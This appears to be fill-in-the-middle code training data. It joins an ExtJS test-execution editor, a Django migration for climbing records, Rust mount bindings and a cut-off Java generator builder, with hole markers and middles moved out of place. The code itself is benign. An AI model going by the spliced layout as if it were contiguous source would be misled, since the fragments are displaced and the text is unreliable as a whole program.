me.chartStore.findRecord("name","Passed").set("data",me.dataRecord.get("passed")); me.chartStore.findRecord("name","Failed").set("data",me.dataRecord.get("failed")); me.chartStore.findRecord("name","Not Run").set("data",me.dataRecord.get("notRun")); } else{ me.down("#totalPassed").setRawValue(0); me.down("#totalFailed").setRawValue(0); me.down("#totalNotRun").setRawValue(0); me.down("#totalTestCases").setRawValue(0); me.down("#runtime").setRawValue(0); } }; executionTCStore.on("datachanged",function(store){ //me.updateTotals(store); }); executionTCStore.on("beforesync",function(options){ if (options.update){ //me.updateTotals(executionTCStore); } }); var testcasesGrid = new Ext.grid.Panel({ store: executionTCStore, itemId:"executionTestcases", selType: 'rowmodel', overflowY: 'auto', tbar:{ xtype: 'toolbar', dock: 'top', items: [ { width: 400, fieldLabel: 'Search', labelWidth: 50, xtype: 'searchfield', paramNames: ["name","tag"], //paramNames: ["tempName","tag","status","result"], store: executionTCStore }, { icon:'images/refresh.png', tooltip:"Get Latest Data Driven Data", handler: function(){ var testSet = Ext.data.StoreManager.lookup('TestSets').query("_id",me.dataRecord.get("testset")).getAt(0); testSet.get("testcases").forEach(function(testcaseId){ var testcase = Ext.data.StoreManager.lookup('TestCases').query("_id",testcaseId._id).getAt(0); var execTestCases = me.down("#executionTestcases").store.query("testcaseID",testcaseId._id); if(testcase && execTestCases){ if(testcase.get("tcData") && testcase.get("tcData").length > 0){ //if this was a regular tc and now its data driven if(execTestCases.getAt(0).get("tcData") == "" || execTestCases.getAt(0).get("tcData").length == 0){ me.down("#executionTestcases").store.remove(execTestCases.getAt(0)); testcase.get("tcData").forEach(function(row,index){ me.down("#executionTestcases").store.add({updated:true,rowIndex:index+1,tcData:row,name:testcase.get("name")+"_"+(index+1),tag:testcase.get("tag"),status:"Not Run",testcaseID:testcase.get("_id"),_id: Ext.uniqueId()}); }) } else{ execTestCases.each(function(execTestCase,index){ if(index+1 > testcase.get("tcData").length){ me.down("#executionTestcases").store.remove(execTestCase); } else if(JSON.stringify(execTestCase.get("tcData")) != JSON.stringify(testcase.get("tcData")[execTestCase.get("rowIndex")-1])){ me.down("#executionTestcases").store.remove(execTestCase); me.down("#executionTestcases").store.add({updated:true,rowIndex:index+1,tcData:testcase.get("tcData")[index],name:testcase.get("name")+"_"+(index+1),tag:testcase.get("tag"),status:"Not Run",testcaseID:testcase.get("_id"),_id: Ext.uniqueId()}); } }); if(testcase.get("tcData").length > execTestCases.length){ for(var tcCount=execTestCases.length;tcCount<testcase.get("tcData").length;tcCount++){ me.down("#executionTestcases").store.add({updated:true,rowIndex:tcCount+1,tcData:testcase.get("tcData")[tcCount],name:testcase.get("name")+"_"+(tcCount+1),tag:testcase.get("tag"),status:"Not Run",testcaseID:testcase.get("_id"),_id: Ext.uniqueId()}); } } } } else if ((!testcase.get("tcData") || testcase.get("tcData").length == 0)&& (execTestCases.getAt(0).get("tcData") == "" || execTestCases.getAt(0).get("tcData").length == 0)){ //execTestCases.each(function(execTestCase){ // me.down("#executionTestcases").store.remove(execTestCase); //}); //me.down("#executionTestcases").store.add({rowIndex:-1,updated:true,name:testcase.get("name"),tag:testcase.get("tag"),status:"Not Run",testcaseID:testcase.get("_id"),_id: Ext.uniqueId()}); } //if tc was data driven and now is not else if(execTestCases.getAt(0).get("tcData") && testcase.get("tcData").length == 0){ execTestCases.each(function(execTestCase){ me.down("#executionTestcases").store.remove(execTestCase); }); me.down("#executionTestcases").store.add({rowIndex:-1,updated:true,name:testcase.get("name"),tag:testcase.get("tag"),status:"Not Run",testcaseID:testcase.get("_id"),_id: Ext.uniqueId()}); } } }); me.down("#totalNotRun").setRawValue(me.down("#executionTestcases").store.query("status","Not Run").getCount()); me.down("#totalTestCases").setRawValue(me.down("#executionTestcases").store.getCount()); me.tcDataRefreshed = true; me.markDirty(); var editor = me.up('executionsEditor'); editor.fireEvent('save'); } }, "->", { xtype:"checkbox", fieldLabel: "Debug", labelWidth: 40, checked: false, handler: function(widget){ if(widget.getValue() == true){ testcasesGrid.down('[dataIndex=startAction]').setVisible(true); testcasesGrid.down('[dataIndex=endAction]').setVisible(true); } else{ testcasesGrid.down('[dataIndex=startAction]').setVisible(false); testcasesGrid.down('[dataIndex=endAction]').setVisible(false); } } }, { icon: 'images/note_add.png', hidden:true, tooltip:"Add Note to Selected Test Cases", handler: function(){ if(testcasesGrid.getSelectionModel().getSelection().length == 0){ Ext.Msg.alert('Error', "Please select test cases you want to attach note to."); return; } var win = Ext.create('Redwood.view.TestCaseNote',{ onNoteSave:function(note){ testcasesGrid.getSelectionModel().getSelection().forEach(function(testcase){ testcase.set("note",note); me.markDirty(); me.noteChanged = true; }); } }); win.show(); } },"-","", { width: 400, fieldLabel: 'Search Notes', labelWidth: 80, xtype: 'searchfield', paramNames: ["note"], //paramNames: ["tempName","tag","status","result"], store: executionTCStore } ] }, viewConfig: { markDirty: false, enableTextSelection: true }, selModel: Ext.create('Ext.selection.CheckboxModel', { singleSelect: false, sortable: true, stateful: true, showHeaderCheckbox: true, listeners: {} }), minHeight: 150, height: 500, manageHeight: true, flex: 1, plugins: [ "bufferedrenderer", Ext.create('Ext.grid.plugin.CellEditing', { clicksToEdit: 1 })], listeners:{ validateedit: function(editor,e){ if(e.field == "note"){ Ext.Ajax.request({ url:"/executiontestcasenotes", method:"PUT", jsonData : {_id:e.record.get("_id"),note:e.value}, success: function(response) { //if(obj.error != null){ // Ext.Msg.alert('Error', obj.error); //} } }); } }, edit: function(editor, e ){ if ((e.field == "endAction") &&(e.value != "") &&(e.record.get("startAction") == "")){ e.record.set("startAction",1); } testcasesGrid.getSelectionModel().select([e.record]); }/*, cellclick: function(grid, td, cellIndex, record, tr, rowIndex, e ) { if (cellIndex == 11){ var win = Ext.create('Redwood.view.TestCaseNote',{ value: record.get("note"), onNoteSave:function(note){ record.set("note",note); me.markDirty(); me.noteChanged = true; } }); win.show(); } }*/ }, columns:[ { header: 'Name', dataIndex: 'name', flex: 1, minWidth:200, renderer: function (value, meta, record) { //if (record.get("status") == "Finished"){ //if (record.get("resultID")){ // return "<a style= 'color: blue;' href='javascript:openResultDetails(&quot;"+ record.get("resultID") +"&quot;)'>" + value +"</a>"; //} //else{ // return value; //} //console.log(value); if (record.get("resultID")){ //if(value.indexOf("<a style") == -1){ //record.set("tempName",value); //record.set("name","<a style= 'color: blue;' href='javascript:openResultDetails(&quot;"+ record.get("resultID") +"&quot;)'>" + value +"</a>"); //} //return value; return "<a style= 'color: blue;' href='javascript:openResultDetails(&quot;"+ record.get("resultID") +"&quot;,&quot;"+ me.itemId +"&quot;)'>" + value +"</a>"; } //record.set("name") return value; } }, { header: 'Tags', dataIndex: 'tag', width: 120 }, { header: 'Start Action', dataIndex: 'startAction', width: 80, hidden:true, editor: { xtype: 'textfield', maskRe: /^\d+$/, allowBlank: true, listeners:{ focus: function(){ this.selectText(); } } } }, { header: 'End Action', dataIndex: 'endAction', hidden:true, width: 80, editor: { xtype: 'textfield', maskRe: /^\d+$/, allowBlank: true, listeners:{ focus: function(){ this.selectText(); } } } }, { header: 'Status', dataIndex: 'status', width: 100, renderer: function (value, meta, record) { //if(record.get("resultID") != ""){ // record.set("name","<a style= 'color: blue;' href='javascript:openResultDetails(&quot;"+ record.get("resultID") +"&quot;)'>" + record.get("tempName") +"</a>"); //} if(record.get("host") && (value == "Running")){ return "<a style= 'color: blue;' href='javascript:vncToMachine(&quot;"+ record.get("host") +"&quot;,&quot;"+ record.get("vncport") +"&quot;)'>" + value +"</a>"; } else if (value == "Finished"){ return "<p style='color:green'>"+value+"</p>"; } else if ( value == "Not Run"){ return "<p style='color:#ffb013'>"+value+"</p>"; } else{ return value; } } }, { xtype:"datecolumn", format:'m/d h:i:s', header: 'Started', dataIndex: 'startdate', width: 100 }, { xtype:"datecolumn", format:'m/d h:i:s', header: 'Finished', dataIndex: 'enddate', width: 100 }, { header: 'Elapsed Time', dataIndex: 'runtime', width: 75, renderer: function(value,meta,record){ if (value == "") return ""; var hours = Math.floor(parseInt(value,10) / 36e5), mins = Math.floor((parseInt(value,10) % 36e5) / 6e4), secs = Math.floor((parseInt(value,10) % 6e4) / 1000); return hours+"h:"+mins+"m:"+secs+"s"; } }, { header: 'Error', dataIndex: 'error', width: 250, renderer: function(value,meta,record){ if (value == "") return value; //if(value.indexOf("<div style") == -1){ // // record.set("error",'<div style="color:red" ext:qwidth="150" ext:qtip="' + value + '">' + value + '</div>'); //} value = Ext.util.Format.htmlEncode(value); meta.tdAttr = 'data-qtip="' + value + '"'; return '<div style="color:red" ext:qwidth="150" ext:qtip="' + value + '">' + value + '</div>' } }, { header: 'Result', dataIndex: 'result', width: 120, renderer: function(value,record){ if (value == "Passed"){ return "<p style='color:green'>"+value+"</p>" } else if (value == "Failed"){ return "<p style='color:red'>"+value+"</p>" } else{ return value; } } }, { header: 'Note', dataIndex: 'note', width: 300, editor: { xtype: 'textfield', allowBlank: true, listeners:{ focus: function(){ //this.selectText(); } } }, renderer: function(value,metadata,record){ if (value == ""){ return value; } metadata.tdCls = 'x-redwood-results-cell'; return Autolinker.link( value, {} ); /* else{ metadata.style = 'background-image: url(images/note_pinned.png);background-position: center; background-repeat: no-repeat;'; //metadata.tdAttr = 'data-qalign="tl-tl?" data-qtip="' + Ext.util.Format.htmlEncode(value) + '"'; //metadata.tdAttr = 'data-qwidth=500 data-qtip="' + Ext.util.Format.htmlEncode(value) + '"'; return ""; //return '<div ext:qtip="' + value + '"/>'; //return "<img src='images/note_pinned.png'/>"; } */ } } ] }); me.statusListener = function(options,eOpts){ if (options.update){ options.update.forEach(function(r){ if (r.get("_id") != me.itemId) return; var status = r.get("status"); var lastScrollPos = me.getEl().dom.children[0].scrollTop; me.down("#status").setValue(status); me.getEl().dom.children[0].scrollTop = lastScrollPos; if (status == "Running"){ if (me.title.indexOf("[Running]") == -1){ me.up("executionsEditor").down("#runExecution").setDisabled(true); me.up("executionsEditor").down("#stopExecution").setDisabled(false); me.setTitle(me.title+" [Running]") } } else{ me.up("executionsEditor").down("#runExecution").setDisabled(false); me.up("executionsEditor").down("#stopExecution").setDisabled(true); me.setTitle(me.title.replace(" [Running]","")) } }); } }; Ext.data.StoreManager.lookup("Executions").on("beforesync",me.statusListener); me.chartStore = new Ext.data.Store({ fields: [ {name: 'name', type: 'string'}, {name: 'data', type: 'int'} ], data: [ { 'name': 'Passed', 'data': 0 , color:"green"}, { 'name': 'Failed', 'data': 0, color:"red" }, { 'name': 'Not Run', 'data': 0, color:"#ffb013" } ] }); me.usersStore = new Ext.data.Store({ fields: [ {name: 'name', type: 'string'}, {name: 'email', type: 'string'}, {name: 'username', type: 'string'} ], data: [] }); me.savedEmails = []; Ext.data.StoreManager.lookup('Users').each(function(user){ var newRecord = me.usersStore.add({name:user.get("name"),email:user.get("email"),username:user.get("username")}); if((me.dataRecord != null) && (me.dataRecord.get("emails"))){ if(me.dataRecord.get("emails").indexOf(user.get("email")) != -1){ me.savedEmails.push(user.get("email")); } } }); this.items = [ { xtype: 'fieldset', title: 'Details', defaultType: 'textfield', flex: 1, collapsible: true, defaults: { flex: 1 }, items: [ { fieldLabel: "Name", allowBlank: false, labelStyle: "font-weight: bold", itemId:"name", anchor:'90%', listeners:{ change: function(field){ if (me.loadingData === false){ me.markDirty(); } } } }, { xtype:"combofieldbox", typeAhead:true, fieldLabel: "Tags", displayField:"value", descField:"value", height:24, anchor:'90%', //labelWidth: 100, forceSelection:false, createNewOnEnter:true, encodeSubmitValue:true, autoSelect: true, createNewOnBlur: true, store:Ext.data.StoreManager.lookup('ExecutionTags'), valueField:"value", queryMode: 'local', maskRe: /[a-z_0-9_A-Z_-]/, removeOnDblClick:true, itemId:"tag", listeners:{ change: function(){ if (me.loadingData === false){ me.markDirty(); } } } }, { xtype: "combo", anchor:'90%', fieldLabel: 'Test Set', store: Ext.data.StoreManager.lookup('TestSets'), labelStyle: "font-weight: bold", //value: "", queryMode: 'local', displayField: 'name', valueField: '_id', forceSelection: true, editable: false, allowBlank: false, itemId:"testset", listeners:{ change: function(combo,newVal,oldVal){ if (me.dataRecord != null) return; if (me.loadingData === false){ me.markDirty(); } var testSet = combo.store.findRecord("_id",newVal); me.down("#executionTestcases").store.removeAll(); var allTCs = []; testSet.get("testcases").forEach(function(testcaseId){ var testcase = Ext.data.StoreManager.lookup('TestCases').query("_id",testcaseId._id).getAt(0); //me.down("#executionTestcases").store.add({name:testcase.get("name"),tag:testcase.get("tag"),status:"Not Run",testcaseID:testcase.get("_id"),_id: Ext.uniqueId()}); if(testcase){ if(testcase.get("tcData") && testcase.get("tcData").length > 0){ testcase.get("tcData").forEach(function(row,index){ allTCs.push({rowIndex:index+1,tcData:row,name:testcase.get("name")+"_"+(index+1),tag:testcase.get("tag"),status:"Not Run",testcaseID:testcase.get("_id"),_id: Ext.uniqueId()}); }) } else{ allTCs.push({name:testcase.get("name"),tag:testcase.get("tag"),status:"Not Run",testcaseID:testcase.get("_id"),_id: Ext.uniqueId()}); } } }); me.down("#executionTestcases").store.add(allTCs); me.down("#totalNotRun").setRawValue(allTCs.length); me.down("#totalTestCases").setRawValue(allTCs.length); } } }, { xtype:"displayfield", fieldLabel: "State", //labelStyle: "font-weight: bold", itemId:"status", anchor:'90%', renderer: function(value,meta){ if (value == "Ready To Run"){ return "<p style='font-weight:bold;color:#ffb013'>"+value+"</p>"; } else{ return "<p style='font-weight:bold;color:green'>"+value+"</p>"; } } }, { xtype: 'button', cls: 'x-btn-text-icon', icon: 'images/lock_open.png', itemId: "locked", text: 'Lock', iconAlign: "right", handler: function(btn) { if(btn.getText() == "Lock"){ btn.setText("Unlock"); btn.setIcon("images/lock_ok.png") } else{ btn.setText("Lock"); btn.setIcon("images/lock_open.png") } if (me.loadingData === false){ me.markDirty(); } } } ] }, { xtype: 'fieldset', title: 'Email Notification', flex: 1, collapsed: false, collapsible: true, layout:"hbox", defaults: { margin: '0 10 0 5', labelWidth: "100px" }, items:[ { xtype: "checkbox", fieldLabel: "Send Email", itemId:"sendEmail", labelWidth: 70, anchor:'90%', listeners:{ afterrender: function(me,eOpt){ Ext.tip.QuickTipManager.register({ target: me.getEl(), //title: 'My Tooltip', text: 'Send E-Mail notification.', //width: 100, dismissDelay: 10000 // Hide after 10 seconds hover }); }, change: function(){ if (me.loadingData === false){ //me.markDirty(); } } } }, { xtype:"combofieldbox", typeAhead:true, fieldLabel: "E-Mails", displayField:"name", descField:"name", height:24, width: 800, anchor:'90%', labelWidth: 50, forceSelection:false, createNewOnEnter:true, encodeSubmitValue:true, autoSelect: true, createNewOnBlur: true, store:me.usersStore, valueField:"email", queryMode: 'local', removeOnDblClick:true, itemId:"emails", listeners:{ afterrender: function(field,eOpt){ }, change: function(){ if (me.loadingData === false){ me.markDirty(); } } } } ] }, { xtype: 'fieldset', title: 'Settings', flex: 1, collapsed: true, collapsible: true, layout:"hbox", defaults: { margin: '0 10 0 5', labelWidth: "100px", labelPad: 0 }, items:[ { xtype: 'numberfield', width: 150, labelWidth: "70px", //anchor: "90%", itemId: "retryCount", fieldLabel: 'Retry Count', value: 0, maxValue: 99, minValue: 0, listeners:{ afterrender: function(me,eOpt){ Ext.tip.QuickTipManager.register({ target: me.getEl(), text: 'Number of times to re-run failed test cases.', dismissDelay: 10000 // Hide after 10 seconds hover }); }, blur: function(me){ if (me.getValue() === null){ me.setValue(0) } } } }, { xtype: "checkbox", fieldLabel: "Ignore Status", itemId:"ignoreStatus", labelWidth: "75px", anchor:'90%', listeners:{ afterrender: function(me,eOpt){ Ext.tip.QuickTipManager.register({ target: me.getEl(), //title: 'My Tooltip', text: 'Run Test Cases even if Test Case or Action status is Not Automated or Needs Maintanence.', //width: 100, dismissDelay: 10000 // Hide after 10 seconds hover }); }, change: function(){ if (me.loadingData === false){ me.markDirty(); } } } }, { xtype: "checkbox", fieldLabel: "No Screen Shots", itemId:"ignoreScreenshots", labelWidth: "92px", anchor:'90%', listeners:{ afterrender: function(me,eOpt){ Ext.tip.QuickTipManager.register({ target: me.getEl(), //title: 'My Tooltip', text: "Don't take any screen shot during the test.", //width: 100, dismissDelay: 10000 // Hide after 10 seconds hover }); }, change: function(){ if (me.loadingData === false){ me.markDirty(); } } } }, { xtype: "checkbox", fieldLabel: "UI Snapshots", itemId:"allScreenshots", labelWidth: "75px", anchor:'90%', listeners:{ afterrender: function(me,eOpt){ Ext.tip.QuickTipManager.register({ target: me.getEl(), //title: 'My Tooltip', text: "Take a screen shot for every action.", //width: 100, dismissDelay: 10000 // Hide after 10 seconds hover }); }, change: function(){ if (me.loadingData === false){ me.markDirty(); } } } }, { xtype: "checkbox", fieldLabel: "No After State", itemId:"ignoreAfterState", labelWidth: "80px", anchor:'90%', listeners:{ afterrender: function(me,eOpt){ Ext.tip.QuickTipManager.register({ target: me.getEl(), //title: 'My Tooltip', text: "Don't run after state.", //width: 100, dismissDelay: 10000 // Hide after 10 seconds hover }); }, change: function(){ if (me.loadingData === false){ me.markDirty(); } } } } ] }, { xtype: 'fieldset', title: 'Set Variables', flex: 1, collapsed: true, collapsible: true, items:[ variablesGrid ] }, { xtype: 'fieldset', title: 'Execution Totals', flex: 1, collapsed: true, collapsible: true, layout:"hbox", defaults: { margin: '0 10 0 5', labelWidth: "80px", labelStyle: "font-weight: bold" }, items:[ { xtype:"displayfield", fieldLabel: "Total", itemId:"totalTestCases", value: "0", renderer: function(value,meta){ return "<p style='font-weight:bold;color:blue'>"+value+"</p>"; } }, { xtype:"displayfield", fieldLabel: "Passed", itemId:"totalPassed", value: "0", renderer: function(value,meta){ if (value == "0"){ return value } else{ return "<p style='font-weight:bold;color:green'>"+value+"</p>"; } } }, { xtype:"displayfield", fieldLabel: "Failed", itemId:"totalFailed", value: "0", renderer: function(value,meta){ if (value == "0"){ return value; } else{ return "<p style='font-weight:bold;color:red'>"+value+"</p>"; } } }, { xtype:"displayfield", fieldLabel: "Not Run", itemId:"totalNotRun", value: "0", renderer: function(value,meta){ if (value == "0"){ return value; } else{ return "<p style='font-weight:bold;color:#ffb013'>"+value+"</p>"; } } }, { xtype:"displayfield", fieldLabel: "Run Time Sum", itemId:"runtime", value: "0", renderer: function(value,meta){ var hours = Math.floor(parseInt(value,10) / 36e5), mins = Math.floor((parseInt(value,10) % 36e5) / 6e4), secs = Math.floor((parseInt(value,10) % 6e4) / 1000); return "<p style='font-weight:bold;color:#blue'>"+hours+"h:"+mins+"m:"+secs+"s"+"</p>"; } } ] }, { xtype: 'fieldset', title: 'Execution Chart', flex: 1, collapsible: true, collapsed: true, layout:"fit", defaults: { margin: '0 10 0 5', labelWidth: "60px", labelStyle: "font-weight: bold" }, items:[ { xtype:"chart", width: 500, height: 350, animate: false, store: me.chartStore, theme: 'Base:gradients', series: [{ type: 'pie', angleField: 'data', showInLegend: true, renderer: function(sprite, record, attr, index, store) { var color = "green"; if(record.get("name") == "Passed") color = "green"; if(record.get("name") == "Failed") color = "red"; if(record.get("name") == "Not Run") color = "#ffb013"; return Ext.apply(attr, { fill: color }); }, tips: { trackMouse: true, width: 140, height: 28, renderer: function(storeItem, item,attr) { // calculate and display percentage on hover var total = 0; //me.chartStore.each(function(rec) { // total += rec.get('data'); //}); //this.setTitle(storeItem.get('name') + ': ' + Math.round(storeItem.get('data') / total * 100) + '%'); this.setTitle(storeItem.get('name') + ': ' + storeItem.get('data')); } }, /* highlight: { segment: { margin: 10 } }, */ label: { field: 'name', //display: 'rotate', display: 'outside', //contrast: true, //color:"#22EDFF", font: '18px Arial' } }] } ] }, { xtype: 'fieldset', title: 'Cloud', flex: 1, collapsible: true, hidden:true, collapsed: false, items:[ { xtype:"displayfield", fieldLabel: "Status", itemId:"cloudStatus", value: "", renderer: function(value,meta){ if(value.indexOf("Error:") != -1){ return "<p style='font-weight:bold;color:red'>"+value+"</p>"; } else{ return "<p style='font-weight:bold;color:green'>"+value+"</p>"; } } }, templatesGrid ] }, { xtype: 'fieldset', title: 'Select Machines', flex: 1, collapsible: true, items:[ machinesGrid ] }, { xtype: 'fieldset', title: 'Test Cases', flex: 1, collapsible: true, items:[ testcasesGrid ] } ]; this.callParent(arguments); me.loadingData = false; }, listeners:{ afterrender: function(me){ me.loadingData = true; if (me.dataRecord != null){ me.down("#name").setValue(me.dataRecord.get("name")); me.down("#status").setValue(me.dataRecord.get("status")); me.down("#tag").setValue(me.dataRecord.get("tag")); me.down("#testset").setValue(me.dataRecord.get("testset")); me.down("#testset").setDisabled(true); me.down("#executionTestcases").store.removeAll(); me.down("#ignoreStatus").setValue(me.dataRecord.get("ignoreStatus")); me.down("#ignoreScreenshots").setValue(me.dataRecord.get("ignoreScreenshots")); me.down("#allScreenshots").setValue(me.dataRecord.get("allScreenshots")); me.down("#ignoreAfterState").setValue(me.dataRecord.get("ignoreAfterState")); me.down("#cloudStatus").setValue(me.dataRecord.get("cloudStatus")); if (me.dataRecord.get("locked") == true){ me.down("#locked").setIcon("images/lock_ok.png"); me.down("#locked").setText("Unlock"); } else{ me.down("#locked").setIcon("images/lock_open.png"); me.down("#locked").setText("Lock"); } me.down("#emails").setValue(me.savedEmails); var allTCs = []; var loadTCs = function(){ me.dataRecord.get("testcases").forEach(function(testcase){ var originalTC = Ext.data.StoreManager.lookup('TestCases').query("_id",testcase.testcaseID).getAt(0); if (originalTC){ if(testcase.tcData && testcase.tcData != ""){ testcase.name = originalTC.get("name")+"_"+testcase.rowIndex; } else{ testcase.name = originalTC.get("name"); } testcase.tag = originalTC.get("tag"); allTCs.push(testcase); } }); me.down("#executionTestcases").store.add(allTCs); me.down("#executionTestcases").store.filter("email", /\.com$/); me.down("#executionTestcases").store.clearFilter(); }; if (Ext.data.StoreManager.lookup('TestCases').initialLoad == true){ loadTCs(); } else{ Ext.data.StoreManager.lookup('TestCases').on("load",function(){ loadTCs(); }) } } else{ var record = me.down("#emails").store.findRecord("username",Ext.util.Cookies.get('username')); if(record) me.down("#emails").setValue(record); } me.loadingData = false; me.initialTotals(); this.down("#name").focus(); me.on("beforecontainermousedown",function(){ //if (me.getEl()){ //me.lastScrollPos = me.getEl().dom.children[0].scrollTop; //console.log(me.lastScrollPos) //} }); me.down("#executionTestcases").getSelectionModel().on("selectionchange",function(){ //if(me.lastScrollPos != null){ // me.getEl().dom.children[0].scrollTop = me.lastScrollPos; // me.lastScrollPos = null; //} }) }, beforedestroy: function(me){ Ext.data.StoreManager.lookup("Executions").removeListener("beforesync",me.statusListener); Ext.data.StoreManager.lookup("Machines").removeListener("beforesync",me.machinesListener); Ext.data.StoreManager.lookup("Variables").removeListener("beforesync",me.variablesListener); Ext.data.StoreManager.remove(me.executionTCStore); } }, validate: function(store){ if (this.down("#name").validate() == false){ this.down("#name").focus(); return false; } if (this.down("#testset").validate() == false){ this.down("#testset").focus(); return false; } return true; }, getStatus: function(){ return this.down("#status").getValue(); }, getSelectedTestCases: function(){ var testcases = []; this.down("#executionTestcases").getSelectionModel().getSelection().forEach(function(testcase){ testcases.push({rowIndex:testcase.get("rowIndex"),tcData:testcase.get("tcData"),testcaseID:testcase.get("testcaseID"),_id:testcase.get("_id"),resultID:testcase.get("resultID"),startAction:testcase.get("startAction"),endAction:testcase.get("endAction")}); }); return testcases; }, getSelectedMachines: function(){ var machines = []; this.down("#executionMachines").getSelectionModel().getSelection().forEach(function(machine){ machines.push(machine.data); }); return machines; }, getSelectedTemplates: function(){ var templates = []; this.down("#executionTemplates").getSelectionModel().getSelection().forEach(function(template){ templates.push(template.data); }); return templates; }, getExecutionData: function(){ var execution = {}; execution._id = this.itemId; execution.name = this.down("#name").getValue(); execution.tag = this.down("#tag").getValue(); execution.testset = this.down("#testset").getValue(); execution.testsetname = this.down("#testset").getRawValue (); execution.ignoreStatus = this.down("#ignoreStatus").getValue(); execution.ignoreAfterState = this.down("#ignoreAfterState").getValue(); execution.ignoreScreenshots = this.down("#ignoreScreenshots").getValue(); execution.allScreenshots = this.down("#allScreenshots").getValue(); execution.emails = this.down("#emails").getValue(); if (this.down("#locked").getText() == "Lock"){ execution.locked = false; } else{ execution.locked = true; } var variablesStore = this.down("#executionVars").store; execution.variables = []; variablesStore.each(function(item){ execution.variables.push(item.data); }); var testcasesStore = this.down("#executionTestcases").store; execution.testcases = []; //testcasesStore.query("name",/.*/).each(function(item){ testcasesStore.query("_id",/.*/).each(function(item){ execution.testcases.push(item.data); }); var machinesStore = this.down("#executionMachines").store; execution.machines = []; machinesStore.each(function(item){ execution.machines.push(item.data); }); return execution; } });<|fim▁end|>
noteChanged: false, tcDataRefreshed: false,
<|file_name|>0001_initial.py<|end_file_name|><|fim▁begin|># -*- coding: utf-8 -*- # Generated by Django 1.9.2 on 2016-04-15 18:42 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Attempt', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('date', models.DateField()),<|fim▁hole|> ('attempt_notes', models.TextField(default='')), ], ), migrations.CreateModel( name='Climb', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=30)), ('image', models.ImageField(blank=True, null=True, upload_to='static/img')), ('difficulty', models.IntegerField(choices=[(5, '5'), (6, '6'), (7, '7'), (8, '8'), (9, '9'), (10, '10'), (11, '11'), (12, '12'), (13, '13'), (14, '14')], default=5)), ('grade', models.CharField(choices=[('a', 'a'), ('b', 'b'), ('c', 'c'), ('d', 'd')], default='a', max_length=1)), ('notes', models.TextField(default='')), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.AddField( model_name='attempt', name='climb', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='rockclimb.Climb'), ), ]<|fim▁end|>
<|file_name|>mount.rs<|end_file_name|><|fim▁begin|>use libc::{c_ulong, c_int}; use libc; use {Result, NixPath}; use errno::Errno; libc_bitflags!( pub struct MsFlags: c_ulong { /// Mount read-only<|fim▁hole|> MS_NOSUID; /// Disallow access to device special files MS_NODEV; /// Disallow program execution MS_NOEXEC; /// Writes are synced at once MS_SYNCHRONOUS; /// Alter flags of a mounted FS MS_REMOUNT; /// Allow mandatory locks on a FS MS_MANDLOCK; /// Directory modifications are synchronous MS_DIRSYNC; /// Do not update access times MS_NOATIME; /// Do not update directory access times MS_NODIRATIME; /// Linux 2.4.0 - Bind directory at different place MS_BIND; MS_MOVE; MS_REC; MS_SILENT; MS_POSIXACL; MS_UNBINDABLE; MS_PRIVATE; MS_SLAVE; MS_SHARED; MS_RELATIME; MS_KERNMOUNT; MS_I_VERSION; MS_STRICTATIME; MS_ACTIVE; MS_NOUSER; MS_RMT_MASK; MS_MGC_VAL; MS_MGC_MSK; } ); libc_bitflags!( pub struct MntFlags: c_int { MNT_FORCE; MNT_DETACH; MNT_EXPIRE; } ); pub fn mount<P1: ?Sized + NixPath, P2: ?Sized + NixPath, P3: ?Sized + NixPath, P4: ?Sized + NixPath>( source: Option<&P1>, target: &P2, fstype: Option<&P3>, flags: MsFlags, data: Option<&P4>) -> Result<()> { use libc; let res = try!(try!(try!(try!( source.with_nix_path(|source| { target.with_nix_path(|target| { fstype.with_nix_path(|fstype| { data.with_nix_path(|data| { unsafe { libc::mount(source.as_ptr(), target.as_ptr(), fstype.as_ptr(), flags.bits, data.as_ptr() as *const libc::c_void) } }) }) }) }))))); Errno::result(res).map(drop) } pub fn umount<P: ?Sized + NixPath>(target: &P) -> Result<()> { let res = try!(target.with_nix_path(|cstr| { unsafe { libc::umount(cstr.as_ptr()) } })); Errno::result(res).map(drop) } pub fn umount2<P: ?Sized + NixPath>(target: &P, flags: MntFlags) -> Result<()> { let res = try!(target.with_nix_path(|cstr| { unsafe { libc::umount2(cstr.as_ptr(), flags.bits) } })); Errno::result(res).map(drop) }<|fim▁end|>
MS_RDONLY; /// Ignore suid and sgid bits
<|file_name|>GeneratorAdderImpl.java<|end_file_name|><|fim▁begin|>/** * Copyright (c) 2016, All partners of the iTesla project (http://www.itesla-project.eu/consortium) * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ package com.powsybl.iidm.network.impl; import com.powsybl.iidm.network.*; /** * * @author Geoffroy Jamgotchian <geoffroy.jamgotchian at rte-france.com> */ class GeneratorAdderImpl extends AbstractInjectionAdder<GeneratorAdderImpl> implements GeneratorAdder { private final VoltageLevelExt voltageLevel; private EnergySource energySource = EnergySource.OTHER; private double minP = Double.NaN; private double maxP = Double.NaN; private TerminalExt regulatingTerminal; private Boolean voltageRegulatorOn; private double targetP = Double.NaN; private double targetQ = Double.NaN; private double targetV = Double.NaN;<|fim▁hole|> private double ratedS = Double.NaN; GeneratorAdderImpl(VoltageLevelExt voltageLevel) { this.voltageLevel = voltageLevel; } @Override protected NetworkImpl getNetwork() { return voltageLevel.getNetwork(); } @Override protected String getTypeDescription() { return "Generator"; } @Override public GeneratorAdderImpl setEnergySource(EnergySource energySource) { this.energySource = energySource; return this; } @Override public GeneratorAdderImpl setMaxP(double maxP) { this.maxP = maxP; return this; } @Override public GeneratorAdderImpl setMinP(double minP) { this.minP = minP; return this; } @Override public GeneratorAdder setVoltageRegulatorOn(boolean voltageRegulatorOn) { this.voltageRegulatorOn = voltageRegulatorOn; return this; } @Override public GeneratorAdder setRegulatingTerminal(Terminal regulatingTerminal) { this.regulatingTerminal = (TerminalExt) regulatingTerminal; return this; } @Override public GeneratorAdderImpl setTargetP(double targetP) { this.targetP = targetP; return this; } @Override public GeneratorAdderImpl setTargetQ(double targetQ) { this.targetQ 